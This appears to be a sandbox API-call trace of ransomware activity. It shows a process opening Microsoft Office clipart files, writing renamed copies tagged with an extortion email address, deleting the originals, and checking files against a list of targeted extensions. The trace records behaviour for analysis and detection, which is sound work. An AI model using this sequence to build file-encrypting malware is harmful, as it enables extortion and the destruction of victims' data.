0x220 [0300.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0300.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0300.288] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.288] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0300.289] GetLastError () returned 0x0 [0300.289] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0xac4, lpOverlapped=0x0) returned 1 [0301.011] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xad0, lpOverlapped=0x0) returned 1 [0301.135] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.135] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.135] SetEndOfFile (hFile=0x109c) returned 1 [0301.135] CloseHandle (hObject=0x109c) returned 1 [0301.135] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.135] SetEndOfFile (hFile=0x10a0) returned 1 [0301.137] CloseHandle (hObject=0x10a0) returned 1 [0301.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0301.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.137] lstrlenW (lpString=".doc") returned 4 [0301.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.137] lstrlenW (lpString=".docx") returned 5 [0301.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.137] lstrlenW (lpString=".pdf") returned 4 [0301.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.137] lstrlenW (lpString=".xls") returned 4 [0301.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.137] lstrlenW (lpString=".xlsx") returned 5 [0301.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.138] lstrlenW (lpString=".ppt") returned 4 [0301.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.138] lstrlenW (lpString=".zip") returned 4 [0301.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.138] lstrlenW (lpString=".rar") returned 4 [0301.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.138] lstrlenW (lpString=".bz2") returned 4 [0301.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.138] lstrlenW (lpString=".7z") returned 3 [0301.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.138] lstrlenW (lpString=".dbf") returned 4 [0301.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.138] lstrlenW (lpString=".1cd") returned 4 [0301.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.138] lstrlenW (lpString=".jpg") returned 4 [0301.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.138] lstrlenW (lpString=".doc") returned 4 [0301.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.138] lstrlenW (lpString=".docx") returned 5 [0301.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.138] lstrlenW (lpString=".pdf") returned 4 [0301.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.139] lstrlenW (lpString=".xls") returned 4 [0301.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.139] lstrlenW (lpString=".xlsx") returned 5 [0301.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.139] lstrlenW (lpString=".ppt") returned 4 [0301.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.139] lstrlenW (lpString=".zip") returned 4 [0301.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.139] lstrlenW (lpString=".rar") returned 4 [0301.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.139] lstrlenW (lpString=".bz2") returned 4 [0301.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.139] lstrlenW (lpString=".7z") returned 3 [0301.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.139] lstrlenW (lpString=".dbf") returned 4 [0301.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.139] lstrlenW (lpString=".1cd") returned 4 [0301.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0301.139] lstrlenW (lpString=".jpg") returned 4 [0301.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.139] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.140] lstrlenW (lpString="HH01080_.WMF") returned 12 [0301.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0301.140] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=5000) returned 1 [0301.140] CloseHandle (hObject=0x10a0) returned 1 [0301.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0301.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0301.141] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.141] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0301.141] GetLastError () returned 0x0 [0301.141] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1388, lpOverlapped=0x0) returned 1 [0301.308] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x1390, lpOverlapped=0x0) returned 1 [0301.309] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.310] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.310] SetEndOfFile (hFile=0x109c) returned 1 [0301.310] CloseHandle (hObject=0x109c) returned 1 [0301.310] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.310] SetEndOfFile (hFile=0x10a0) returned 1 [0301.311] CloseHandle (hObject=0x10a0) returned 1 [0301.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0301.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.312] lstrlenW (lpString=".doc") returned 4 [0301.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.312] lstrlenW (lpString=".docx") returned 5 [0301.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.312] lstrlenW (lpString=".pdf") returned 4 [0301.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.312] lstrlenW (lpString=".xls") returned 4 [0301.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.312] lstrlenW (lpString=".xlsx") returned 5 [0301.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.312] lstrlenW (lpString=".ppt") returned 4 [0301.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.312] lstrlenW (lpString=".zip") returned 4 [0301.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.312] lstrlenW (lpString=".rar") returned 4 [0301.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.312] lstrlenW (lpString=".bz2") returned 4 [0301.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.312] lstrlenW (lpString=".7z") returned 3 [0301.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.312] lstrlenW (lpString=".dbf") returned 4 [0301.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.312] lstrlenW (lpString=".1cd") returned 4 [0301.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.313] lstrlenW (lpString=".jpg") returned 4 [0301.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.313] lstrlenW (lpString=".doc") returned 4 [0301.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString=".docx") returned 5 [0301.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.313] lstrlenW (lpString=".pdf") returned 4 [0301.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString=".xls") returned 4 [0301.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.313] lstrlenW (lpString=".xlsx") returned 5 [0301.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.313] lstrlenW (lpString=".ppt") returned 4 [0301.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.313] lstrlenW (lpString=".zip") returned 4 [0301.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.313] lstrlenW (lpString=".rar") returned 4 [0301.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString=".bz2") returned 4 [0301.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString=".7z") returned 3 [0301.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.313] lstrlenW (lpString=".dbf") returned 4 [0301.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.314] lstrlenW (lpString=".1cd") returned 4 [0301.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0301.314] lstrlenW (lpString=".jpg") returned 4 [0301.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.314] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.314] lstrlenW (lpString="HH01461_.WMF") returned 12 [0301.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0301.314] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=5958) returned 1 [0301.314] CloseHandle (hObject=0x10a0) returned 1 [0301.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0301.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0301.315] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.315] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0301.316] GetLastError () returned 0x0 [0301.316] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1746, lpOverlapped=0x0) returned 1 [0301.463] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x1750, lpOverlapped=0x0) returned 1 [0301.464] ReadFile (in: hFile=0x10a0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.464] WriteFile (in: hFile=0x109c, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.465] SetEndOfFile (hFile=0x109c) returned 1 [0301.465] CloseHandle (hObject=0x109c) returned 1 [0301.465] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.465] SetEndOfFile (hFile=0x10a0) returned 1 [0301.465] CloseHandle (hObject=0x10a0) returned 1 [0301.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0301.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0301.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.466] lstrlenW (lpString=".doc") returned 4 [0301.466] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.466] lstrlenW (lpString=".docx") returned 5 [0301.466] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.466] lstrlenW (lpString=".pdf") returned 4 [0301.466] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.466] lstrlenW (lpString=".xls") returned 4 [0301.466] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.466] lstrlenW (lpString=".xlsx") returned 5 [0301.466] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.466] lstrlenW (lpString=".ppt") returned 4 [0301.466] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.466] lstrlenW (lpString=".zip") returned 4 [0301.466] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.466] lstrlenW (lpString=".rar") returned 4 [0301.466] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.466] lstrlenW (lpString=".bz2") returned 4 [0301.466] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.466] lstrlenW (lpString=".7z") returned 3 [0301.466] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.467] lstrlenW (lpString=".dbf") returned 4 [0301.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.467] lstrlenW (lpString=".1cd") returned 4 [0301.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.467] lstrlenW (lpString=".jpg") returned 4 [0301.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.467] lstrlenW (lpString=".doc") returned 4 [0301.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.467] lstrlenW (lpString=".docx") returned 5 [0301.467] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.467] lstrlenW (lpString=".pdf") returned 4 [0301.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.467] lstrlenW (lpString=".xls") returned 4 [0301.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.467] lstrlenW (lpString=".xlsx") returned 5 [0301.467] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.467] lstrlenW (lpString=".ppt") returned 4 [0301.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.467] lstrlenW (lpString=".zip") returned 4 [0301.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.467] lstrlenW (lpString=".rar") returned 4 [0301.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.467] lstrlenW (lpString=".bz2") returned 4 [0301.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.467] lstrlenW (lpString=".7z") returned 3 [0301.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.467] lstrlenW (lpString=".dbf") returned 4 [0301.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.468] lstrlenW (lpString=".1cd") returned 4 [0301.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0301.468] lstrlenW (lpString=".jpg") returned 4 [0301.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.468] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0301.468] lstrlenW (lpString="HH01875_.WMF") returned 12 [0301.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0301.468] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=2616) returned 1 [0301.468] CloseHandle (hObject=0x10a0) returned 1 [0301.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0301.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 